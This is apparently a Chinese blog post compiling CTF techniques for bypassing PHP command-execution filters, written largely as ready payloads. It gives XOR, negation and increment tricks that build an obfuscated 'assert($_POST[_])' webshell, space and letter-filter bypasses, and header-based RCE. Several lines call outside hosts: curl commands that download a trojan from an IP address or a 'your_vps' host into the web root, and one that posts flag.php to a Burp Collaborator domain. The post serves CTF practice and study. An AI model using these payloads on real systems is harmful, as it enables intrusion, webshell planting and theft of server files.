(命令执行需要严格的过滤,所i以接下来是对过滤绕过的专题
1. 正则匹配的绕过
preg_match( )这个函数只能匹配一行数据。所以一般可以用 %0a(换行符)绕过
还可以使用?,?可以匹配任意字符,但有时候有没有过滤这个
preg_match("/flag/i")
在这里就可以使用fla?绕过
还可以是里面套入echo,然后写码进去
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
eval()里面可以包含echo,echo相当于system <?php system('$_GET[a]');?>等同于<?php echo`$_GET[a]`;?>
配合使用文件包含的情况
/?c=include%0a$_GET[url]>&url=php://filter/read=convert.base64-encode/resource=flag.php
2. 异或构造字符绕过绕过
在PHP中两个字符串异或之后,得到的还是一个字符串。如果正则过滤了一些字符串,那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。
<?php
echo "?"^"~";
?>
A
def r_xor():
for i in range(0,127):
for j in range(0,127):
result=i^j
print(chr(i)+"^"+chr(j)+"="+chr(result))
if __name__ == "__main__":
r_xor()
上面脚本可以跑出我们想要的字符串
3. system题型绕过
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
/dev/null 2>&1是不进行回显,所以采用命令把flag打印出来,利用;分隔分化一下 构造payload:
?c=ls;ls
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
使用" || " " & " " && " 分隔
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
4.空格绕过
在之前的过滤基础上,把空格过滤了,所以可以采用“tab”但是直接按tab键会使光标跳到分隔符之后或者跳在历史记录中的下一条记录
所以采用tab的url编码“%09” 也可以使用$IFS$来替换掉空格
构造payload
?c=tac%09fla*||
tac$IFS$9fl*.php%0a
几种绕过空格的方式
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt//这俩<>貌似没啥用 cat<>flag.txt
cat%0afla?.php cat%09fla?.php 这俩的区别是后者用于语句末尾,前者可以用来做中间
https://06d60f66-6b06-46df-a149-9f29b0b7e388.challenge.ctf.show/?c=tac%09fla\g.php%0a
5.未过滤数字,只过滤字母可以有以下操作
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。
但因为字母不能传入,我们需要使用通配符?来进行代替
?c=/bin/base64 flag.php
替换后变成
?c=/???/????64 ????.???
6.取反绕过
<?php
$a=urlencode(~'phpinfo');
echo $a;
echo '<br>';
$b=~urldecode($a);
echo $b;
?>
%8F%97%8F%96%91%99%90<br>phpinfo
[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)-CSDN博客
还有一种方法就是 ~(异或)
还有一种就是
phpinfo(): [~%8F%97%8F%96%91%99%90][~%CF]();
加这个[~%FF]只是因为php7的解析方式,当然换成其他的也可以例如[~%EF] [~%CF]
7.异或绕过
异或构造脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = str(input("请输入进行异或构造的字符串:"))
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)
<?php
var_dump('#'^'|'); //得到字符 _
var_dump('.'^'~'); //得到字符 P
var_dump('/'^'`'); //得到字符 0
var_dump('|'^'/'); //得到字符 S
var_dump('{'^'/'); //得到字符 T
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //变量$__值为字符串'_POST'
var_dump($__);
?>
string(1) "_"
string(1) "P"
string(1) "O"
string(1) "S"
string(1) "T"
string(5) "_POST"
可以看到是可以拼接出来的
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
然后还要对payload进行url编码,因为有特殊字符
%24_%20%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%24__%20%3D%20%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%24___%20%3D%20%24%24__%3B%24_(%24___%5B_%5D)%3B
8.自增绕过
<?php
$_++;
$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字
但是要如何得到一个字母来自增得到后面的数组
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。
<?php
$a = ''.[];
var_dump($a);
string(5) "Array"
这里来一个屌炸天的大佬payload
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])
9.临时文件绕过
关于临时文件目录:
Linux临时文件主要存储在/tmp/
目录下,格式通常是(/tmp/php[6个随机字符]
)
Windows临时文件主要存储在C:/Windows/
目录下,格式通常是(C:/Windows/php[4个随机字符].tmp
)
大概就是在自己的vps上写一个命令执行的txt,然后在题目post该命令
curl http://your_vps/1.txt > /var/www/html/1.php
然后 ?cmd=?><?=/??p/p?p??????
;
10.绝对路径使用代码绕过
因为preg_match
只能匹配第一行,所以这里可以采用多行绕过。
因为putenv('PATH=/home/rceservice/jail');
修改了环境变量,所以只能使用绝对路径使用cat命令,cat
命令在/bin
文件夹下
?cmd={%0A"cmd":"ls /home/rceservice"%0A}
这道是要求使用json格式输入命令
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
11.curl 下载木马
http://dad2759a-b4a1-4742-a354-779e26d1b2af.node5.buuoj.cn:81/?cmd=curl${IFS}-o${IFS}1.php${IFS}112.124.61.140:85
12.UA头可控
可以在UA头进行RCE
可以先抓包看看UA头在哪
发现在第二个,则确定用system(next(getallheaders()));
这样执行的是ua头的命令
13.有时候不知道过滤了啥可以用尝试用file_get_contents
尝试用file_get_contents来查看源码
14空值构造数字绕过
通过$(())
操作构造出36: $(())
:代表做一次运算,因为里面为空,也表示值为0
$(( ~$(()) ))
:对0作取反运算,值为-1
$(( $((~$(()))) $((~$(()))) ))
: -1-1,也就是(-1)+(-1)为-2,所以值为-2
$(( ~$(( $((~$(()))) $((~$(()))) )) ))
:再对-2做一次取反得到1,所以值为1
故我们在$(( ~$(( )) ))
里面放37个$((~$(())))
,得到-37,取反即可得到36:
15.对各种函数的禁用
16.curl上传flag文件
就是利用curl去带出flag.phpcurl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
# payload
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
17.联合执行
; //分号
| //前一个命令执行的结果做为后一个命令的参数
|| //前面条命令执行失败,才会执行下个命令
& //两条命令都会执行,任务在后台执行
&& // 只有前面条命令成功,才会执行下个命令
%0a //换行
%0d
18.tee命令
常规方式命令可执行,但是回显一直为1
因为>过滤,使用tee命令,可以变为另一个文件,类似>
payload: ?c=ls /|tee 2 访问2下载查看文件 ?c=cat /f149_15_h3r3|tee 3 访问下载查看文件3
评论0
暂时没有评论